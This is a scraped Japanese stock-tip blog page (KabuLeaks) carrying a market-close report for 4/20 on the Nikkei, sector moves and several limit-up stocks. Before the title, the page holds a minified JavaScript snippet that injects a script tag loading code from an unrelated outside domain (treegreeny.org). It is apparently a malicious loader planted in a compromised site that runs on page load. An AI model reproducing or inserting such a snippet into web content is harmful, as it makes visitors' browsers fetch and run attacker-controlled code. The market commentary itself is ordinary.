;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【4/20 大引け】|【KabuLeaks 〜株リークス〜】
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仕手株・ファンド介入リーク情報【4/20 大引け】

本日の日経平均株価は18円安と小幅続落。前週末の欧米株安やギリシャ債務懸念などから朝方は180円近く値下がりする場面があったものの、その後は旺盛な押し目買い意欲に支えられて、一時はプラス圏に浮上。大引けにかけては為替の円高を嫌気され再度マイナス圏に沈むも25日移動平均線上を終値でキープして取引を終えた。業種別では、値上がりが、医薬品、海運業、食料品、電気機器の4業のみ。一方、不動産業、金属製品、証券が下落率上位だった。東証1部の売買高は20億8443万株、売買代金は2兆3350億円。。騰落銘柄数は値上がり398銘柄、値下がり1374銘柄、変わらず109銘柄。

個別では、【2162】日本マニュファクチャリングサービスが昼12時の業績予想の増額発表が好感されて急伸、ストップ高。その他、台湾企業に製品採用とされた【3652】ディジタルメディアプロフェッショナルや超電導蓄電システムなどを材料【7709】クボテックなどもストップ高に。また、14時に通期業績予想の上方修正を発表した【7517】黒田電気。【5216】倉元製作所や【5381】Mipoxなどが後場一段高となった。

個別での個人の買い意欲は旺盛、物色の循環がみられるが、日経平均は海外情勢が不安定で方向感は乏しい。国内企業決算を見極めたいとのムードも根強く明日も一進一退の展開が想定される。なんとか本日は25日を上回る位置で終わるも引き続き警戒しておきたい水準だ。